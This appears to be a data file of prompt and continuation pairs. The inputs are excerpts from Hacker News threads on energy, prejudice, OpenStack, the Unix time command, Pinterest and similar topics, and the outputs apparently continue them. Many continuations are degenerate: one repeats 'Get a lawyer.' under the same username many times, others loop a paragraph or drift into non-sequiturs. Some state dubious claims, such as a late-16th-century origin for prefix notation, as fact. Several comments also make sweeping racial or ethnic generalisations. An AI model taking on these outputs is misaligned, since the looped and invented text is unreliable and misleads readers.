realtime, and over various time\nperiods. There is still plenty of room for more renewables, and it shows how\nsolar is actually pretty good in the uk, it generates during the main peak\nperiod in the day.\n\n~~~\ntoomuchtodo\nWorldwide mostly realtime data:\n[https://www.electricitymap.org/?wind=false&solar=false&page=...](https://www.electricitymap.org/?wind=false&solar=false&page=map)\n\n~~~\nm0skit0\nI think France vs Germany in this map is a nice argument in the nuclear vs\n\"renewables\" discussion\n\n~~~\nnoneeeed\nGermany's sudden shift from nuclear without a plan for what to replace it with\nwas just so"} +{"output_text": "\n\n~~~\nanamax\n> It's easy to imagine this applying to age. If an 18-year-old and a 40-year-\n> old share an apartment, it's probably because the 18-year-old is willing to\n> be quiet after 10 PM, not smoke pot in the house, etc. Or because the 40-\n> year-old is tolerant of late night noise and weed.\n\nThat's not at all what's happening. The", "input_text": " policy.\n\nShit, we have a black president, a female secretary of state and speaker of\nthe house, numerous high-level officials and corporate execs and prominent\nministers, etc. who are openly gay, a soon-to-be Latina supreme court justice,\netc. Times have most definitely changed, and the changes run deep.\n\n------\nbyrneseyeview\nBefore you get too excited, keep in mind that this would also be true in a\nworld in which racists are correct. That's still a world in which college\ngraduates would generally have college graduate roommates, people who wanted\nto live in hip neighborhoods would have roommates who wanted the same, and\npeople who liked to get wasted and listen to loud music would live with folks\nwho had the same tastes.\n\nIt's easy to imagine this applying to age. If an 18-year-old and a 40-year-old\nshare an apartment, it's probably because the 18-year-old is willing to be\nquiet after 10 PM, not smoke pot in the house, etc. Or because the 40-year-old\nis tolerant of late night noise and weed. However, the 18- or 40-year-old\ndoesn't see it that way; to him, that 22-year age difference has surprisingly\nlittle impact on behavior.\n\n _However_, the this-is-compatible-with-racism viewpoint can be disproven by\neither a) assigning people random roommates (no, not _random roommates who all\ngot roughly the same SAT scores, want to live in the same state, etc._ ), or\nb) seeing if there's a selection process that affects whether people pick\nroommates of one ethnicity based on how closely they stereotypically match the\nbehaviors of another."} +{"output_text": "\nif they weren't for some ulterior motive.\n\n1\\. \"When hiring, make sure that the people you are hiring are good\ncommunicators.\" This is just wrong. I can't imagine a candidate that isn't\ngood at communicating.\n\n2\\. \"When hiring, make sure that the people you are hiring are good\nlisteners.\" This is also wrong. I can't imagine a candidate that isn't good at\nlistening.\n\n3\\. \"", "input_text": ". This explicitly considers all colleges the\nsame.\n\nEvery point in the post is an actual suggestion made on how to improve\ndiversity. Obviously not all the suggestions have been implemented, but I'm\nafraid the committee for improving hiring might do just that.\n\n~~~\nubernostrum\nIt's awfully easy to make technically-true but misrepresentative statements\nabout this stuff, though.\n\nFor example, someone might argue that actively seeking out recent graduates of\ncoding bootcamps when hiring for junior positions will help find a more\ndiverse set of candidates. And there's truth here: bootcamps tend to have\nbetter gender and somewhat-better racial balance than university CS\ndepartments or existing tech shops, and bootcamp graduates on average seem to\nbe pretty good (there are selection and maturity and self-motivation effects\nthere which raise quality compared to the typical randomly-chosen bunch os\nCVs).\n\nBut it's technically correct, so long as you don't mind completely misleading\nconnotations, to describe that approach as \"to eliminate racism and sexism,\nhire people who don't have CS degrees and don't have industry experience\" and\nimply it's \"lowering the bar\".\n\nAnd anecdotally, when people make claims like the ones in the OP article, my\nexperience is that it's almost always the case that someone is carefully\nchoosing how they describe things in order to be technically truthful while\nmaliciously misrepresenting the situation in a way that suits their personal\naxe-grinding.\n\n------\niheatu\nI'm not sure who diversity trainers are but some of their suggestions are just\nridiculous and un-inventive. They are bad enough that they might be\npurposefully sabotaging the process. No one would implement these suggestion"} +{"output_text": ":\n[https://siderite.com/linter](https://siderite.com/linter)\n\n~~~\nSiderite\nThanks!\n\n------\njheriko\na javascript port of linter sounds like a really good idea, but i suspect it\nwill be a bit of a disappointment.\n\n~~~\nSiderite\nWhy? Why would it be disappointing?\n\n~~~\njheriko\nbecause linter is a", "input_text": "dkarl\n_For a minority group, Asian-Americans can be surprisingly racist._\n\nEspecially against each other. Nothing like telling your Korean friend how\nmuch you enjoy visiting Japan and watching Miyazaki and Juzo Itami's movies to\nstir up some good old-fashioned hatred. \"They raped my grandmother. They're\nnot human. They don't have souls.\" And then you have to pretend to like Oldboy\nto calm them down.\n\n~~~\nnostrademons\nAgainst themselves too. My friend started a FaceBook group called \"Ambivalent\nAsians - for all the self-hating Orientals out there\". (He is half-Chinese and\nhalf-Japanese, so perhaps he just got both heapings of racism mixed up in the\nsame person...)\n\n------\ncarterschonwald\nI think an important caveat is that if you're stuck with bad roommates,\ntolerance of anything related to those roommates will decrease\n\n------\nlionhearted\nTaking lovers from other places and ethnic groups takes prejudices way down\ntoo. Lying in bed together, half delirious, you can talk about all those\nthings that are taboo to bring up about in polite conversation. That way, you\nactually learn more about a culture's unique traits and idiosyncrasies where\nmost people would be embarrassed to ask about those things to someone they\nknow more casually.\n\n------\namichail\nPerhaps a good way to reduce prejudice is to always exchange resumes when\nmeeting people for the first time -- even in non-work related contexts?\n\n \nLInQer \u2013 C# Integrated Queries ported to Javascript - Siderite\nhttps://github.com/Siderite/LInQer\n======\nskrowl\nMore info here"} +{"output_text": "other hand_,\nperhaps Shakespeare was just ahead of his time, and we'll be using prefix\nnotation for a long time to come.\n\n------\njfk13\nThe article is a little light on the history of prefix notation, which was\nfirst used in the late 16th century.\n\n[https://en.wikipedia.org/wiki/Prefix_notation](https://en.wikipedia.org/wiki/Prefix_notation)\n\n~~~\nrbecker", "input_text": " that the notation was 2+3, not (+ 2 3).\nThat's why any other notation feels \"unnatural\".\n\nI do wonder if it would be possible to teach kids prefix notation instead, and\nwhether such notation would seem completely natural to them. (I suspect the\nanswer to both is yes.)\n\n~~~\nwaterhouse\nThat is an interesting question. I see one possible argument (whose\ncorrectness I don't know enough to judge, I'm just making it up) why infix is\nmore natural than prefix: A kid will start by seeing an object, and only once\nyou have an object does it make sense to combine it (by addition or whatever)\nwith another object. Also, note that a certain amount of English syntax is\ninfix: \"I went to the store\", not \"Went to I the store\".\n\n...However, I think that in some other languages, _postfix_ notation is\ncommon. I think my friend who studies Spanish told me that they say the\nequivalent of \"I her it gave\" (meaning \"I gave it to her\"), and I think I\nremember Shakespearean English using postfix....Looking at the text of Romeo\nand Juliet, I see both prefix and postfix.\n\n \n \n Prefix: \"O, where is Romeo? saw you him to-day?\"\n Postfix: \"The which if you with patient ears attend\"\n \n\nOn the one hand, we could say that, since these plays were apparently rather\nsuccessful, people obviously didn't have too much trouble understanding them.\nOn the other hand, since this sort of strange permutation has been mostly\ndropped from common usage (so that I recognize it as strange), that may be\nevidence that these things are just harder to use. On the _"} +{"output_text": "\nof streaming.\n\n~~~\nMediterraneo10\nI was downvoted for this comment, but I think it\u2019s an important distinction.\n\n------\njames_s_tayler\nI've been streaming Netflix for years now. I have a fast enough internet\nconnection that I can watch all of the movies I want to watch without\nconsidering the streaming bit.\n\nI have a few movies that I want to watch on my TV and I", "input_text": ".session()\n # now use session like you would requests\n session.get(\"http://httpbin.org/cookies/set/name/value\")\n print(session.get(\"http://httpbin.org/cookies\").content)\n\n~~~\ncatwind7\noh I need to try that - I had this feeling that there was a more stateful\nversion but for..... some reason... reaching for a new dependency felt\neasier at the time haha. Thanks\n\n------\ngabrielsroka\nSee also \"Where to Find Roger Ebert\u2019s Great Movies Streaming\" [0] which has US\nlistings for Netflix, Amazon Prime, Hulu, Disney Plus, Criterion Channel,\nKanopy, HBO, Starz, and Showtime as of March 2020.\n\n[0] [https://www.rogerebert.com/features/where-to-find-roger-\neber...](https://www.rogerebert.com/features/where-to-find-roger-eberts-great-\nmovies-streaming)\n\n------\njyriand\nI guess this list of movies applies to people who live in US. Available movies\ndiffer substantially between countries. With Netflix it's easy, it doesn't\neven show the movie you can't watch, with Amazon you have to click through\nevery movie you are interested in to see the screen that says that this movie\nis not available in your region. There are even series where only one or two\nepisodes are unavailable.\n\n------\nMediterraneo10\nIt is the fact that we have a relatively agreed-upon canon of great films\n(with immense re-watch value over the years) that keeps me torrenting instead"} +{"output_text": " others\ndeploy. It worked great for a few hundred dollars a month.\n\nI recently moved out of my house and am looking to move the cluster to a\nproper data center. I'm looking for a provider that will let me run OpenStack\nin a colo. I've looked at SoftLayer, Rackspace, and HP Cloud. I've looked at\nthe OpenStack docs and it looks like I need to install Nova, Swift, and\nKeystone. I'm", "input_text": " tell them how to invest their infrastructure dollars?\nQuite possibly no, because software development and infrastructure are\ntypically held at arms length. But even when they are not in a \"proper\" DevOps\nshop, the ballgame of which cloud is then subservient to developer convenience\nand how easy it is to deploy software to a cloud and how productive developers\nare writing software for that cloud.\n\nSo yes, the purpose of OpenStack and Container technologies are very different\nand I appreciate that technically. In terms of real world value to me as a\nsoftware developer, however, I have platform problems not infrastructure\nproblems. I don't care what the infrastructure is under the service so long as\nit provides a stable, reliable platform for me to build upon. Containers\nabstract that for me in a way that solves real platform problems that\nOpenStack was only ever relevant to me in so far as its ability to once hint\nat a possible solution to. That's not fair and that was expecting too much\nfrom OpenStack at the time, but that's life.\n\n~~~\nyeukhon\nOkay, I was reading it as defending why container would solve what OpenStack\nwas set out to solve, which is the proposition I read from the OP I was\nreplying to.\n\nOf course, I would advise against running a private cloud unless there is a\ndedicated team of at least a dozen or so. I applaud Digital Ocean for able to\nsurvive and make good business from their private cloud. As a developer I\ntotally agree I just want my code to be deployed and that all the appendices\nare deployed and configured.\n\n------\nkordless\nI ran an OpenStack cluster in my house for a few years. The deployment was\nmanaged by a bunch of scripts which I wrote and published to help"} +{"output_text": " by being positive and thinking positively.\n\n------\nmatt_wulfeck\nGet a lawyer.\n\n------\nrajacombinator\nGet a lawyer.\n\n------\nrajacombinator\nGet a lawyer.\n\n------\nrajacombinator\nGet a lawyer.\n\n------\nrajacombinator\nGet a lawyer.\n\n------\nrajacombinator\nGet a lawyer.\n\n------\nrajacom", "input_text": "ai\nSlack channel: [https://hnkansai-slack.now.sh/](https://hnkansai-\nslack.now.sh/)\n\nLots of entrepreneurs and developers in there :)\n\n------\nmproud\nDo you follow any Gaijin programmers or entrepreneurs who live in Japan?\n\nYou should try contacting the guy at Kalzumeus Software\n([https://www.kalzumeus.com](https://www.kalzumeus.com)).\n\n------\nguytv\nPlease call: 03 5774 0992. Its a hotline that can offer some relief.\n\n------\ngaspoweredcat\nwhat is the focus of your business?\n\n~~~\ngiancarlostoro\nThis is one of the more important questions. You need a vision for your\ncompany aside from \"be my own boss\" something to build or look forward to. Are\nyou wanting to do consulting or do software contracts? Or some sort of product\n/ type of products maybe?\n\n------\nBakary\nThere's something oddly uplifting about all the responses in this thread put\ntogether that I haven't experienced in a long time.\n\n------\nadamgoodapp\nMaybe try running the company with a partner if possible. Can help you share\nthe burden and have some one to go through the experience together.\n\n------\naround_here\nMate, there are things you can do. Hop on the Tokyo slack, come have a chat in\nthe #advice channel.\n\n------\nvnjp\ni am foreigner started a small company in Tokyo in 2014. i dont have many\npapers to fill in except annual tax report. what kind of papers do you need to\nsubmit?\n\n------\ngnadx\nYou can get through this"} +{"output_text": " is a good example of why time should be run as a part of a pipeline.\n\n------\njancsika\n> The time command is not the command you think you know.\n\nI think this is the most important point of the article.\n\nI've been using `time` in my `.bashrc` for years now. I run `time some_command`\nand then run `echo $SECOND` or whatever. I have no idea what", "input_text": " SAT\nscore by knowing their family income, or that you can predict their family\nincome by knowing their SAT score.\n\n------\nsnambi\nMy father used to tell me this \"Provide education for free to those who really\nwant it and deserve it. If not provide it only those who can pay for it\".\n\nMy father was a professor in India, where college education is free. All state\nfunded colleges are free and most of them are easy to get into. But most of\nthe students are not interested in learning, they come to college for time\npass. So, free education should be given to only those who deserve.\n\n \n/usr/bin/time: not the command you think you know - activatedgeek\nhttps://hackernoon.com/usr-bin-time-not-the-command-you-think-you-know-34ac03e55cc3\n======\njimrandomh\nThe reason 'time' is a builtin is because it can time a complete shell\npipeline, not just a single command. If you type\n\n \n \n time foo |bar\n \n\nThen the result is the total time taken by foo and bar together. This requires\nit to have special-case syntax. Whereas\n\n \n \n /usr/bin/time foo |bar\n \n\nWould run foo and give its time statistics as input to bar.\n\n~~~\njcoffland\nRun these commands for a better demonstration:\n\n \n \n time echo | sleep 1\n \n\nvs.\n\n \n \n /usr/bin/time echo | sleep 1\n \n\nThe former times the entire pipeline whereas the later only times the first\ncommand in the pipe.\n\n~~~\nfnord123\nThis"} +{"output_text": " code is downloaded.\n\nThat's not really a good way to look at it. The web browser is the most\ndangerous piece of software on a mobile device by far. It can do anything it\nsays, and it can do that without your permission.\n\n~~~\nalgesten\nI know. I'm not saying that Apple is happy about it.\n\n------\njamespitts\nThis is a great example of how the mobile OS market is not", "input_text": " and\npractices. Rollout notes both on their FAQ site and in a longer blog post that\ntheir process is in compliance.\n\n[https://www.fireeye.com/blog/threat-\nresearch/2016/04/rollout...](https://www.fireeye.com/blog/threat-\nresearch/2016/04/rollout_or_not_the.html)\n\n~~~\nobstinate\nA ton of games do this and it is incredibly annoying. I don't want to download\nan update, then have to download an update. I only wish the same restriction\napplied to my Android device.\n\n~~~\njustinhj\nMost likely most games are updating only game related data and graphics files.\nVery few games actually use internal scripting that would be needed to do code\nupdates\n\n~~~\nAngostura\nThe only app I've got that appears to actually update itself without going\nthrough the AppStore is the HSBC mobile banking app. I'd be interested in\nhearing the discussions going on between Apple and HSBC at the moment.\n\n~~~\nalgesten\nJudging by how sluggish and annoying the HSBC app is, I think it is a web app\nframed in a thin launcher from the app store.\n\nI.e. it downloads a bunch of javascript/html/css and that executes within a\nUIWebView/WKWebView. Using caching and localStorage, you can construct such an\napp to not need to download everything on each launch.\n\nThe reason that's allowed is because everything executes within a sandboxed\nbrowser environment. No native code is downloaded.\n\n~~~\nmikeash\n> The reason that's allowed is because everything executes within a sandboxed\n> browser environment. No native"} +{"output_text": " the infrastructure stack than OpenStack did.\n\n~~~\nwmf\nContainers are more portable than OpenStack, since OpenStack is basically\njust a set of custom Linuxes with a few custom drivers. Containers are\nportable across any POSIX system, so they can run anywhere.\n\n~~~\nnickpsecurity\nThat's true. I've done container work on a bunch of different systems. I've\nnever done it on OpenStack. I've done it on", "input_text": "\nin the OpenStack efforts: as a developer OpenStack doesn't directly interest\nme because I don't care about infrastructure. Where OpenStack had a\npossibility to win was to provide options for infrastructure agnosticism: if I\ncan build an app that runs \"unmodified\" on any OpenStack-based infrastructure,\nthat has a possibility to save me potential time and money from having to port\napps to/from/between AWS, Azure, Google Cloud, et al (assuming of course that\nit enough clouds actually adopt).\n\nFrom that perspective, container solutions _are_ delivering a better developer\nproposition than OpenStack has yet managed. There are ways now to build\ncontainer clusters that you can ship in parallel to AWS and Azure with very\nlittle code difference.\n\nIn that earlier discussion I was skeptical of OpenStack precisely because of\nits focus on infrastructure first. Without the buy in of being a clone for a\nspecific cloud structure (AWS compatibility over anything else, for instance)\nor the backing of traditional datacenter/server vendors (IBM who eventually\nstarted into BlueMix; Microsoft whose \"on premises Azure\" is now firing on\nmost cylinders but was announced as a plan early in OpenStack's history),\nOpenStack didn't seem to have an obvious niche in the infrastructure world.\nThe closest to a niche it might have had in its early life was the promise of\napplication portability between clouds and that never quite seemed to be\ndelivered.\n\nI can tell it frustrates infrastructure folks to hear that containers have\nbeen eating OpenStack's lunch, but that is the very real case from the\ndeveloper perspective. As a developer today, I go for containers and OpenStack\nis no longer relevant on my radar. Sure I can run containers on OpenStack, but\ncontainers abstract away more of"} +{"output_text": ".\n\nI think the real lesson here is that the \"hip\" and \"in\" thing is a fad, and\nlike all fads it will eventually fade away. And the real lesson is to be\nprepared for when it does.\n\n~~~\njbooth\nI think the real lesson is that the \"hip\" and \"in\" thing is a fad, and like all\nfads it will eventually fade away.\n\nAnd the real lesson is to", "input_text": " explaining a product in as few words as possible\nso the people who want what you're selling stay for more, but for some reason,\nthe same effect in hiring is overlooked.\n\nIf you want future jobs that carry the kind of responsibilities that a VP of\nEngineering, for instance, would typically handle, those jobs will be easier\nto get if that title's already on your resume. Forcing people to accept the\ntitle of \"Irreverence Engineer\" is forcing them to leave money on the table,\nand it's not a necessary feature of a culture that deemphasizes hierarchy.\n\n~~~\npw0ncakes\nQuestion: at a startup without titles, what do you think of fashioning one's\nown, within certain ethical limits?\n\nIt's obviously wrong to take the CEO title if you weren't the CEO (he or she\nmight take it personally) or CFO if your job had nothing to do with finance,\nbut I think a certain amount of leniency is allowed.\n\n~~~\n_delirium\nThe biggest practical downside I can think of is if in checking references,\nyour former boss gets called and has a reaction of, \"John Doe, Senior Foobar?\nI don't think we even _had_ a Foobar\". So might be worth running it by whoever\nit is from the company you'd be likely to put down as a reference. I've met\nfounders who are perfectly fine vouching for any reasonable title the employee\nwants to pick, though.\n\n------\nmkramlich\nThe OA article comes off a bit like a bunch of teenagers complaining how their\nparents generation are a bunch of conformists so they're going to rebel by all\ndoing their hair different. And then the teenagers all do their hair in\nexactly the same \"different\" way"} +{"output_text": " mob is destroying\nthe reputation of the person at the top.\n\nThe only one who benefits from this is the mob.\n\n~~~\nCM30\nYeah, I get the feeling that a lot of people are getting scared of the mob\nthese days.\n\nAnd I can understand that, because it's not like mobs are nice.\n\nBut I also think that a lot of people are getting this wrong.\n\nBecause I think that the people getting threatened and/", "input_text": "\nreminds me of the Twitter phenomenon in which people learned that the only way\nto get customer service from Google/Ubisoft/Bank of America/(insert giant\nfaceless company) was to tweet a grievance publicly. It seems to work well, at\nleast in a few high-profile cases. At least, it worked a few times when\nprivate requests failed. Perhaps people are learning by example?\n\nThe old-fashioned (\"culture of honor/dignity\"?) style of one-on-one\nnegotiation is often futile when you are dealing with a company.\n\n~~~\nCM30\nWell yes, they're learning by example. People are getting fired or ostracised\nby mobs on sites like Twitter based on things like this. It's an unfortunate\npattern where instead of countering arguments or having a debate, a lot of\npeople (especially in these SJW groups) tend to try and destroy someone's\nlivelihood instead.\n\nAnd because a lot of companies seem to care more about their'reputation' then\nany sort of principles, you end up in a situation where people are too scared\nto talk out in case a social media mob destroys their life.\n\n~~~\nthelastguy\nIt's the classic witch hunt mob.\n\nGirl A: I like apples. Girl B: I don't like what you're saying. Hey everybody,\nshe's a witch!\n\nMob deals out punishment.\n\nYou can clearly see that the mob is being played, being used like a pawn, by\nGirl B. The mob doesn't actually benefit form this. Girl B benefits from this\nbecause she got rid of her competitor.\n\nThe same way those students protesting are being used by the person at the\ntop. The students don't actually benefits. Meanwhile, the"} +{"output_text": " this study suggest\nthat people who no longer believe that particular events happened may still\nretain vivid memories of them, and that these memories are not merely\nforgetting-like. The memories are also not more emotional, more self-focused,\nor more negative than memories for other events. The memories are not more\nlikely to be confabulated, and they are not more likely to be memories of\nevents that are inconsistent with the person's current beliefs. The memories\nare,", "input_text": "otten everything (for about half an hour) - the feeling (but no\ninformation) of self-identity remained perfectly intact but I was afraid to\nleave the bar as I had no idea of where do I live and how do I get there.\n\n------\nyboris\nA related book: \"Strangers to Ourselves\" by Timothy D. Wilson\n[http://www.hup.harvard.edu/catalog.php?isbn=9780674013827](http://www.hup.harvard.edu/catalog.php?isbn=9780674013827)\nExcellent book with excellent advice about how to proceed.\n\n------\nthrowayw32\nThis has been dealt to death in Dharmic philosophies; I'm surprised there is\nzero attribution to this anywhere in this article. This is not the first such\ninstance though; I have to wonder why standard academic ethics is not followed\nwith anything concerning Indic traditions.\n\n~~~\nbitexploder\nI often find modern psychology heavily resembles ancient life philosophies.\nFor example, CBT (Cognitive Behavioral Therapy) is, effectively, applied\nStoicism. If you were to explain CBT to an ancient stoic they would just nod\nand agree, understanding the approach intimately.\n\n------\netiam\n_Mazzoni G, Scoboria A, Harvey L. (2010) Nonbelieved memories.\n\nAbstract: This is the first empirical study of vivid autobiographical memories\nfor events that people no longer believe happened to them. Until now, this\nphenomenon has been the object of relatively rare, albeit intriguing,\nanecdotes, such as Jean Piaget's description of his vivid memory of an\nattempted abduction that never happened. The results of"} +{"output_text": "\nIt's not installed by default. You have to install it with\n\nsudo pacman -S time\n\n~~~\nd4l3k\nI have time installed, but it's not in /usr/bin. I have /usr/bin/time-pre,\n/usr/bin/time-post, and /usr/bin/time.\n\nI also have /usr/bin/time-run, which is a script I wrote that uses the time", "input_text": "\nbin boot dev etc home lib lib64 lost+found media mnt opt proc root run sbin\nsrv sys tmp usr var\n\n0.00user 0.00system 0:00.00elapsed 0%CPU (0avgtext+0avgdata 2304maxresident)k\n\n0inputs+0outputs (0major+109minor)pagefaults 0swaps\n\nEdit: formatting\n\n~~~\nkevinoid\nSometimes. It depends whether you have the time[1] package installed.\n\n1\\.\n[https://packages.debian.org/sid/time](https://packages.debian.org/sid/time)\n\n------\n7171u\nI had to use \"\\--verbose\" instead of \"-l\" in my RHEL7\n\n \n \n \\time --verbose echo\n\n~~~\naij\nI bet you're using GNU time rather than BSD time.\n\nIt did seem odd to me that the author didn't bother to mention which OS he is\nusing, though from the hostname I have a pretty good guess.\n\n------\nbrendangregg\nNo, /usr/bin/time is indeed what I know, and its extended stats is why I\nsuggested using it in my last perf book (time -v).\n\n\"/usr/bin/time: not the command you think you know\" -> \"/usr/bin/time: may not\nbe the command you think you know\"\n\nThere, I fixed the title.\n\n~~~\nan_account\n/r/iamverysmart\n\n------\nd4l3k\n/usr/bin/time doesn't seem to be a thing on my Arch Linux install. \u00af\\\\_(\u30c4)_/\u00af\n\n~~~\nfbernier"} +{"output_text": "jo\nYes, a lot of it is just that. If you are not in the right circle, you will\nnever get any positive feedback.\n\n------\njondubois\nThe problem is that the scientific establishment is composed of people who\ndon't understand how science works. They are not scientists; they are\nadministrators.\n\nThe scientific establishment is composed of people who are not interested in\nscience. They are not interested in science because they don't understand it.", "input_text": "As far as whether drug trials are influenced by industry sponsorship, I think\nthe answer is a resounding yes[0], though others might disagree. But if we are\ntalking about hidden industry sponsorship, we erode trust and generate\nquestionable results.\n\n[0]\n[https://jamanetwork.com/journals/jama/fullarticle/196846](https://jamanetwork.com/journals/jama/fullarticle/196846)\n\n------\npdevr\nList of publications by Baselga:\n[https://www.documentcloud.org/documents/4840569-Baselga-\nArti...](https://www.documentcloud.org/documents/4840569-Baselga-Article-\nList.html)\n\n~~~\njondubois\nIt's surprising how many authors all of these papers have. It makes it\ndifficult to allocate credit.\n\nNot saying this is the case here, but I'm sure that if someone was very\nstrategic about it, they could get their names in a lot of high quality papers\nwithout having to do much work.\n\nIn fact, I think that people who focus more on the political aspect of their\ncareers tend to be more successful than people who actually do the innovative\nwork.\n\n~~~\nmaxxxxx\n\"In fact, I think that people who focus more on the political aspect of their\ncareers tend to be more successful than people who actually do the useful\nresearch work.\"\n\nThat's unfortunately the case also outside research. You can have a very good\ncareer if you only focus on politics and nothing else.\n\n~~~\nkinleyd\nHow much of the successful 'politics' would you say is actually sycophancy?\n\n~~~\nekian"} +{"output_text": "'t\ncall it good design.\n\n[0] [https://www.uservoice.com/pages/general-\nadvocate/610/](https://www.uservoice.com/pages/general-advocate/610/)\n\n~~~\njoshmarinacci\nI think the design is fine. I just think that the design is fine and that it\nisn't being pushed forward as much as it should be. I think that is", "input_text": " stagnated, and stagnated some more. And gitlab went past the\n> initial copying and started innovating and adding more features.\n\nAs an industry, we have a unhealthy obsession with change for change's sake.\nIf we aren't redesigning everything, adding new features, or moving cheese all\nthe time, we aren't innovating.\n\nBut this the opposite of how we should think. If the GitHub repos page, for\ninstance, just works, then we don't need to keep changing it. Zach Holman made\na point, way back in 2012, that they intentionally hide UI features to\npreserve simplicity and trust in their design. [0]\n\nThe thing I get the most from Gitlab's UI is this overwhelming sense of desire\nto add every feature, expose every option, and make it as utilitarian as\npossible. In doing so, though, Gitlab trades off approachability. To some this\nis a great thing, but to others, it's just on the edge of too much. If there's\nanything I want Gitlab to copy from GitHub, it's the opinionated decision\nmaking of what to show and when to show it.\n\nGitlab's CI/CD stuff is a great example of this contrast. GitHub left it to\nTravis and other CI providers, which makes both GitHub and those providers\nhave time to excel at what they're good at. They made the trade off deciding\nthat they couldn't pull it off as well as others, so they delegated it and\nmoved on. Gitlab took the opposite approach and built it in. While it adds\nvalue for some users, it can and (at least in my opinion) does over complicate\nthe core feature set they offer.\n\nIt's okay to have two products with different approaches, but I wouldn"} +{"output_text": " nuclear? A new nuclear plant every day. What are we _not_ building\nif we are building solar? A new solar plant every day. What are we _not_\nbuilding if we are building hydro? A new hydro plant every day.\n\nThe cost of renewables is still very high. It's just that it's not as\nimmediately obvious that it's high.\n\n~~~\nbeat\nCost matters, but it's not the only thing that matters. Cost", "input_text": " to ensure a return on investment. Now they\u2019re building wind\nand solar farms with agreements for 15 years or less -- with the expectation\nthat projects will compete against gas- and coal-fired plants in wholesale\nmarkets after the deals conclude.\"_\n\nThis may just be speculating that governments will be issuing all kinds of\npremiums on fossil technologies instead of directly subsidizing renewables,\nwhich is far more likely than actually switching to renewables.\n\n~~~\nbeat\nStoring energy isn't exactly magical. Humans built the first dam nearly 3000\nyears ago. It's simply a matter of cost, and that's a combination of situation\nand experience. Batteries, hydro, compressed air, thermal, gravity... all of\nthese things work, and are known quantities.\n\nIt doesn't take a breakthrough in technology to say \"If we build a tank for\ncompressed air that is volume X, to pressure Y, it can store energy Z; and\nthermal losses for conversion in and out are A, and it costs B to build\". This\nis completely ordinary engineering.\n\n~~~\ngridlockd\n> It's simply a matter of cost, and that's a combination of situation and\n> experience. Batteries, hydro, compressed air, thermal, gravity... all of\n> these things work, and are known quantities.\n\n _Everything_ is a matter of cost. If cost didn't matter, we could just suck\nup all the CO2 from the air. That technology already exists too, and it's a\n\"known quantity\". The problem is, cost _does_ matter and there is such a thing\nas \"prohibitively expensive\", especially if we're looking at countries that\naren't as wealthy.\n\nFurthermore, relative costs matter. What are we _not_ building if we are\nbuilding"} +{"output_text": " is working, but I'm giving it a shot.\nI'd love to hear how others are using contracts to beat their bad habits.\n\n\\---\n\n[1] I'm not a fan of the 'Hack' word. I think it's a poor substitute for\nunderstanding what you want and need.\n\n[2] I'm not a fan of the 'Hack' word. I think it's a poor substitute for\nunderstanding what you want and", "input_text": ". I've probably tried the vast majority of the motivation 'hacks'\nrecommended by the other posters in this thread with varying amounts of\nsuccess and failure.\n\nThe #1 thing I think that anyone in this situation, or any self-improvement\nchallenging situation, should do is to understand themselves fully - what\nmakes you tick, what do you like, dislike, etc.? Beware: this is not a\n5-minute task; we could be talking years here. Once you feel like you have a\nhandle on it, or along the way, try out different approaches. (As much as I\nlove the word 'hack', I really shouldn't call them that because you could very\nwell be using it indefinitely.)\n\n\\--- For me personally, one thing that I've never truly tried is a commitment\ncontract. I've long known about services like Beeminder and StickK, but I\nnever actually fully tried one (where you commit with real money). That\nchanged recently when I discovered a framework for classifying people called\nThe Four Tendencies by Gretchen Rubin.\n\nFolks like us mostly fall into the category of \"Obligers\", people who meet\nouter expectations, but struggle to meet expectations they impose on\nthemselves. And one way to beat that is to create parameters (like a\ncommitment contract) that force you into action.\n\nI recently (~6 weeks ago) created a goal on Beeminder and after falling off\nthe wagon tout-de-suite and having to pay up ($5 initially), I haven't\nderailed since (my current penalty is $10). I know, not an earth-shattering\namount of money, for some reason it's keeping me honest.\n\nIt's probably too early to tell if this"} +{"output_text": ". You have\nto have dedicated lanes, separated from traffic, and you have to enforce the\nrules of the lane. LA is the worst at that.\n\nThe city is run by a council that is composed of a bunch of rich white guys\nwho are all about the money and nothing else. They are the worst at\ninfrastructure planning. They are the worst at enforcing the laws. They are\nthe worst at providing services to the poor and minorities. They are the worst\n", "input_text": "still poorly lit, they still smell like shit, and they're not getting much\nuse. There's a huge trainyard east of downtown (one of the coolest parts of\nthe city, imo) called Piggyback Yard, which is owned by Union Pacific, who\ndoesn't want to sell the land. It'd be hard for the city to do any significant\nrevitalization of the river without turning the Piggyback Yard into a park\nthat can provide flood control. Furthermore, the US Army corps of engineers\ncontrols the LA river, so the voters have no say in what happens here.\n\nThe metro extensions have been planned for decades, and there never seems to\nbe much movement. Recently the blue line has been creeping steadily towards\nSanta Monica but I doubt this will have much of an impact on city life even if\nit does connect downtown LA to the westside beach communities. I used to\nencourage everyone to try taking the train, and I used to do it myself all the\ntime, but I haven't hopped on the train at all in the last 12 months. The\nstations are too spread out, the paths of all the lines make little sense, the\ntrains only come every 15-20 minutes, and a huge chunk of the city is totally\ncut off from the transit lines. As much as I don't like uber/lyft, they've\nmade it much more enjoyable to live in LA.\n\nCiclavia is cool, but its just 1 day out of the year. LA is the worst city in\nthe country to ride a bike. They claim to have more bike lines than any other\ncity, but that's only on paper. Just because you paint a person riding a bike\nnext to the gutter of a 2 lane street doesn't make it a bike lane"} +{"output_text": "terms)\n\n------\njokermatt999\nI don't understand why people are complaining about this. Pinterest is\nbasically just a search engine for pictures. If they didn't use the images,\nthey'd have to pay a licensing fee. If they did use the images, they'd have to\npay a licensing fee. It's just a matter of how much.\n\n~~~\nsant0sk1\nI don't understand why people are complaining about this.", "input_text": ",\nbut... yeah.\n\n~~~\ndangrossman\n> No one freaked out over /r/pics,\n\n/r/pics is just a collection of links to images; it does not reproduce or\nredistribute the images.\n\n~~~\najross\nRight, but that's the same sort of legalese excuse-making (or alternatively:\njust substitute imgur, which hosts most of that content).\n\nIt has nothing to do with whether or not /r/pics constitutes fair use, just\nif-it-isn't-fair-use-who-gets-sued? No one, at the time or now, seriously\nthought that there was a legal problem for anyone with reddit. So why\npinterest? Again, part of me is really suspicious that it's because it's a\nchick site that doesn't cater to geeks.\n\n------\nvillagefool\nFunny thing is that Pinterest in their terms of service are asking people to\nfollow rules they are breaking for other services...\n\n------\ntreelovinhippie\nI was under the assumption that all social-based sites/companies follow the\nsame policy, not so they can resell user content, but so they can eventually\ngo through an acquisition without facing a class action lawsuit from its users\nwho would demand a % of the sale. e.g. Geocities.\n\n------\nJBiserkov\n\n\nI prefer the old ones though\n[http://web.archive.org/web/20110619022738/http://500px.com/t...](http://web.archive.org/web/20110619022738/http://500px.com/"} +{"output_text": " behavior of the live app\n(see screenshot below).\n\nWe're also reaching out to the App Store 